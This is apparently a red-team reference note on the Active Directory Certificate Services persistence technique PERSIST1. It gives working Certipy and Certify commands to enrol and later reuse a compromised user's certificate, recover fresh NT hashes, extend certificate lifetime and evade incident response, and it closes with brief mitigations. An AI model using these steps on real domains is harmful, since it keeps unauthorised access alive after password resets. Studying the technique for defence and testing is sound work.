persist1-active-user-credential-theft-via-certificates.md (3801B)
1 --- 2 title: "PERSIST1 — Active User Credential Theft via Certificates" 3 description: "The core persistence property of certificates: a certificate is valid until it expires or is revoked, independent of the account's password. If you enrol…" 4 category: active-directory 5 subcategory: "ADCS & Certificates" 6 tags: ["active-directory", "adcs", "persistence", "hashing"] 7 tools: ["Certipy", "Certify", "PowerShell"] 8 difficulty: advanced 9 updated: "2026-08-10" 10 source: "vault:ActiveDirectory/ACL-ESC-Techniques/PERSIST1 — Active User Credential Theft via Certificates.md" 11 --- 12 # PERSIST1 — Active User Credential Theft via Certificates 13 14 ## Quick Reference 15 16 | Field | Value | 17 |-------|-------| 18 | **Category** | Account Persistence | 19 | **Difficulty** | Low | 20 | **Pre-requisites** | Control of (or enrolment rights as) the target user; an enabled auth template | 21 | **Tools** | Certipy, Certify | 22 | **OPSEC Noise** | Low — one normal certificate request | 23 | **One-liner** | Enrol a legitimate authentication certificate for a user you currently control, then keep it — it authenticates that user for the cert's whole lifetime, surviving password resets. | 24 25 *** 26 27 ## What Is PERSIST1? 28 29 The core persistence property of certificates: **a certificate is valid until it expires or is revoked, independent of the account's password.** If you enrol (or steal, per THEFT1 — Exporting Certificates and Keys) a cert for a user while you control them, you retain the ability to authenticate as that user even after IR resets their password. Default user templates commonly issue certs valid for **1–2 years**. 30 31 *** 32 33 ## Step 1 — Request a Long-Life Cert as the Target 34 35 ```bash 36 # You currently control 'jdoe' (creds or hash). Enrol a standard auth cert. 37 certipy-ad req \ 38 -u 'jdoe@domain.htb' -p 'CurrentPassw0rd!' \ 39 -dc-ip $TARGET -ca 'DOMAIN-CA' -template 'User' 40 # -> jdoe.pfx (valid ~1-2 years by default) 41 ``` 42 43 ```powershell 44 # Windows equivalent 45 .\Certify.exe request /ca:DC01\DOMAIN-CA /template:User 46 ``` 47 48 *** 49 50 ## Step 2 — Stash the PFX, Authenticate Any Time Later 51 52 ```bash 53 # Weeks/months later — even after jdoe's password changed: 54 certipy-ad auth -pfx jdoe.pfx -dc-ip $TARGET # PKINIT -> TGT + current NT hash 55 ``` 56 57 > [!tip] Persistence that self-heals your hash 58 > Because THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash) returns the account's *current* NT hash each time you authenticate, this doubles as a way to continuously recover a fresh hash after resets, for as long as the cert is valid. 59 60 *** 61 62 ## Step 3 — Maximise Lifetime 63 64 - Prefer templates with the **longest validity** (`certipy find` shows `Validity Period`). 65 - Chain into PERSIST3 — Account Persistence via Certificate Renewal to renew before expiry and extend indefinitely. 66 - For high-value targets, enrol multiple certs across different templates/CAs for redundancy. 67 68 *** 69 70 ## OPSEC Considerations 71 72 | Action | Log | Noise | 73 | :-- | :-- | :-- | 74 | Certificate request | Event 4886/4887 on CA | 🟢 Low | 75 | Later PKINIT auth | Event 4768 on DC | 🟢 Low | 76 77 > [!note] Why IR misses it 78 > Standard incident response resets passwords and disables sessions but rarely reviews issued certificates. A parked `.pfx` sails through a password-reset remediation. 79 80 *** 81 82 ## Mitigation 83 84 - On compromise, **revoke the account's certificates** (and audit CA-issued certs), not just reset the password. 85 - Shorten template validity periods; require manager approval for sensitive templates. 86 - Monitor enrolment spikes and certs issued to accounts that never use smart cards. 87 88 *** 89 90 ## See Also 91 92 - _ADCS Attack Methodology Guide · PERSIST3 — Account Persistence via Certificate Renewal · THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash) 93 - Sources: SpecterOps *Certified Pre-Owned*; [Certipy Wiki](https://github.com/ly4k/Certipy/wiki)